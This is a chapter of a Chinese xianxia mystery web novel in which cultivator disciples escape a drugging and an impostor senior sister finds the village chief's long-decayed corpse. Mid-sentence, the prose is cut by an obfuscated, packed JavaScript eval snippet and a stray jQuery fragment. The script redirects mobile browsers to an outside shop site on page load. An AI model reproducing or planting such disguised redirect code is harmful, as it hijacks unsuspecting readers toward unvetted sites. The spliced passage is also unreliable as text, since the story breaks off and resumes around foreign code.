48. 桃骆之死
    木屋内,“伏令年”离开后,原本躺在地上的人动了动。

    温季才睁开双眼,有些艰难地撑着身体坐起。

    接着,身旁刚才还一动不动的几人都睁开了双眼。

    几人都感到身体疲惫,有种倒头就睡的欲望。他们知道,这并不是他们真实的生理需求。毕竟,修仙者能够辟谷,也不需要过多的睡眠。

    室内萦绕着一股不明的香气。

    情况很明了,他们被下药了。若不是他们事先服用了解毒丹,恐怕还在“沉睡”呢。

    至于下药的人。

    “伏师姐…她走了。”夏悠清轻声道。

    “她不是伏令年。”温季才哑声道。

    从暗中服下解毒丹开始,几人心中其实都有了猜测,但被温季才点出来,还是陷入了沉默当中。

    “先传音回宗门求助。”高墨贤率先打破了沉默。他的语气很平稳,和平日里没什么差别。

    来执行任务之前,他们每人都得到一种名为“飞鸽”的符咒,能够用来远距离传音。

    如今伏令年被“掉包”,情况诡异,绝对不是水鬼能做到的。

    作为筑基期的修士,他们能力有限,面对如此情形,确实应当先向宗门求助。

    然而,温季才却总觉得心有不安。

    他们,真的能够成功将信息传至宗门吗?

    总觉得,有什么事情即将发生。

    温季才犹豫了一会,缓缓从自己口袋里掏出了一包由粗布裹着的事物。

    “这是什么?”林屿燕低声问。

    温季才没说话,只是展开了手中的粗布。

    粗布里放着一块被压碎了一半的桃花糕。

    温季才没说话,但几人心有灵犀,皆领会到了他的想法。

    假伏令年曾多次强调不能相信村中的孩童,也不可食用桃花糕。

    敌人的敌人便是朋友,敌人不让吃桃花糕,若反过来思考,食用了桃花糕,会发生什么事情呢?

    “不可。”林屿燕不赞成:“这样太危险了。”

    温季才轻轻用拇指和食指捏起桃花糕。

    众人这才瞧见,粗布上还有一行深色近黑的字体。

    似乎是什么功法的口诀。

    而这行字最后的落款是

    ——二丫(>.

    ……

    伏令年被带到了溪流边。

    夜色如墨,洒落的月光不足以指引前路。

    伏令年光凭着肉眼视物,几次险些滑倒。

    跟在她身边的葫芦辫女孩却好似丝毫不受影响,以一个不快不慢的速度走着。

    “到了。”“桃叔”抬高了声音:“仙长,我们到了。”

    一道光芒照亮了黑夜,刺得伏令年眼眶中溢出了泪水。透过朦胧的视线,伏令年看清了面前的场景。

    几艘木筏飘荡于溪流之上,一人立于中央的木筏上,全身被包在衣物当中,身披斗笠,整张面孔都被掩盖于其中。手中燃烧着火焰,照亮了四周。

    伏令年如今处于凡人的□□中,神识却还是自己的。

    通过神识,伏令年仿佛看见燃一张张可怖的脸孔在燃烧的火焰中显现。他们尖叫着,嘶鸣着,挣扎着,却始终无法逃脱火焰的炙烤,成为了火焰燃烧的燃料。

    诡谲的场景让伏令年心底发寒,她努力挪开目光,观察四周。

    其余木筏上,拢共站着十来个孩子,许多都是熟悉的面孔。

    他们全部都是桃源村的孩子。

    “爹。”一个女孩突然喊了一声,想离开木筏回到岸边。

    “不要过来!”“桃叔”喊了一声,制止了女孩的行为:“你跟着仙长走!”

    随即,“桃叔”朝那手握火焰的人鞠了一躬:“仙长,这是最后两个年龄达到孩子了。”

    “不错。”斗笠男声音沙哑,他另一只手轻轻挥动,伏令年身体一轻,被风裹着落在了木筏之上。

    其余木筏已经满人,伏令年半趴着落到了斗笠男所在的木筏上。在如此角度,伏令年抬起脑袋,看见了斗笠男的面孔。

    ——或者说,那压根就不能称之为面孔。

    斗笠之下,原本应该属于脑袋的地方,一团团红黑色的蠕虫在其中攒动着。

    蠕动间,它们身周的花纹似乎形成了诡谲的图案,仿若一只只没有睫毛的瞳孔。

    伏令年忽地感到脑袋一阵刺痛,仿佛被无数钢针扎入。眼前发黑,似乎有液体顺着眼眶往下淌落。

    是血。

    失去意识前,伏令年这么想着。

    再次睁开眼睛,伏令年发现自己正仰面躺着。

    可怖的画面在脑海中挥之不去,那个斗笠男究竟是什么东西?

    魔修?还是书上所说的傀儡法术?抑或是同两者都有关?

    耳朵捕捉到重物落地的动静,伏令年悚然一惊,猛地坐起身。

    动作之间,伏令年感到自己的身体似乎又有了改变。

    该有的器官回来了,不该有的器官也不见了。

    她似乎躺在床铺上,四周光线昏暗,右侧方是房门。

    “桃潘!你疯了?”女子的尖叫声刚起,便被压了下去。

    脚步声靠近,伏令年立即躺下,闭上了眼睛。

    “吱呀”一声,门被推开了。

    伏令年双眼睛闭,用耳朵捕捉着四周细微的响动。

    内视体内,她依旧在凡人的体内,无法使用灵力。

    细微的脚步声后,房门再度被关上。

    “阿婉已经休息了。”名为桃潘的男人低声道。

    这声音听着有些耳熟。

    女人强行压抑着啜泣声,似乎不想让屋内的“阿婉“察觉,声音却无法控制地变得尖锐:“你真的疯了,桃潘。那可是你父亲!”

    桃潘沉默了几秒,再次开口,声音却冷硬至极:“他信仰了那树妖一辈子,已经无药可救了。”

    女人发出一声惊呼,似乎对男人的话语感到惶恐。

    “你这是亵渎!”

    “愚昧!”桃潘似乎被女人的话语激怒:“什么神灵,祂根本只是将我们世世代代都困在此处的树妖罢了!你们为什么都不信我…无论如何,我会将孩子们送出去。”

    伏令年在墙角正听得兴起,忽觉得后脖颈发毛。那种熟悉的被窥视感再次出现。

    回过头,伏令年的目光不由自主地落在床头。

    那里放着一个粗制的布娃娃。

    看了几秒,伏令年莫名觉得布娃娃似乎是活的。

    下一刻,布娃娃滚落到了地上,发出了不轻的动静。

    伏令年立即从地上爬起,此时回到床铺已然来不及了。

    在房门打开之前,伏令年装作迷糊的模样,用一只手捂住双眼。

    房门被打开,一位身材中等的男子逆霞光站着。

    伏令年故作自然地打了个哈欠,睡眼惺忪地看着面前极为眼熟的男子。

    “爹。”伏令年这么喊道。

    他就是妇人口中的“桃叔”。

    “婉儿。”桃潘语气放柔:“这几日乖乖呆在屋里,爹过两日带你出村玩,好吗?”

    “真的?”伏令年面露喜色:“出去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13212476|131734||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    玩?可是…祖父不是说…”

    她敏锐捕捉到桃潘的眼神闪躲了一下。

    “祖父答应了,”桃潘笑着道:“只要婉儿听话,就带你出去玩,好不好?”

    “好。”伏令年笑着答应。

    桃潘似乎还有什么急事情,待他走后,“母亲”催促着伏令年重新上床休息。

    看着“母亲”双眼红肿,伏令年强忍着没问,仿若无事般回到房间。

    走回床铺,伏令年俯身捡起了掉在地上的布娃娃。

    布娃娃灰扑扑的,一双眼睛是用较为规整的石头缝制而成的。眼睛下则用线勾勒出一个大大的笑容。

    小孩子把这个丑娃娃放在床头睡觉,真的不会做噩梦吗。

    这么想着,伏令年却顺手将娃娃揣进了衣袍的衣兜里。

    晚霞渐渐消失,天色尽暗。

    伏令年翻身下床,攀着窗离开了房间。

    绕着走了一圈,伏令年由从屋子的另一个窗口翻入屋内。

    神识放出,伏令年强忍着头痛在屋内探索起来。

    凡人的身躯弱小,很难完全利用神识。

    伏令年遵循着神识的指引,缓缓走到了一道门前。手贴着房门推了一下,纹丝不动。

    细微的动静让伏令年明白这门应当上锁了。

    她没有急着离开,从怀中掏出了那个布娃娃,将它放下地上。

    “别光看着啊,帮忙。”

    布娃娃忽地立了起来,抬头“看了”伏令年一眼。

    等了一会,窗口处的传来轻微的动静。

    伏令年侧过头,就见两团黑漆漆的人影从窗口翻了进来。

    “呀!”领头之人吓了一跳。

    伏令年看不清来人,却好似早已料到一般,指了指门口:“师弟,开门。”

    “二丫!”

    一道火光亮起,映出温季才和高墨贤的面孔。

    温季才脸现惊喜,高墨贤则皱起了眉头,面露疑惑之色。

    “你怎么变成这样了?”

    伏令年在嘴边比了个“嘘”,表示这不是叙旧的时候。她指了指门口,再次示意温季才开门。

    对身负灵力的修仙者而言,这自然不是问题。

    只见温季才单手往门上一按,轻微的碎裂声后,门向后敞开了。

    一股恶臭的味道铺面而来,令人猝不及防。

    房屋内没有任何陈设,灰黑色的地面上残留着一些凝固物。看着像蜡烛融化后重新凝结的痕迹。

    在火光之中,有人就这么仰面倒于地上。

    头发胡子花白,眼睛大睁,满脸皱纹。

    正是村长桃骆。

    桃骆——或者说桃骆的尸体,就这么躺在房间中央,尸身已然高度腐烂,除了面皮以外没有一处是完好无损的。浓烈的尸臭味强调着他死亡的事实。

    三人一时无言。

    桃骆死了?

    这句话在伏令年的脑中回荡。

    她依靠神识察觉到了屋内有不同寻常的气息,也对屋内有尸体这一情况有所预料。

    但她却没想到,死者是桃骆。

    再加之桃骆如今尸身腐烂的程度,就知他绝不是短时间内死亡的。

    她侧头看向温季才:“这是第几日?”

    温季才并未露出疑惑的神色,他低头看着伏令年,神色严肃:“第一日,我们刚刚入村。”顿了顿,他补充道:“我们刚刚就是被桃骆带着进村的。”

    在第一日入村之前,桃骆就已经死了。

    那么,他们三日中一直见到的桃骆,究竟是何人?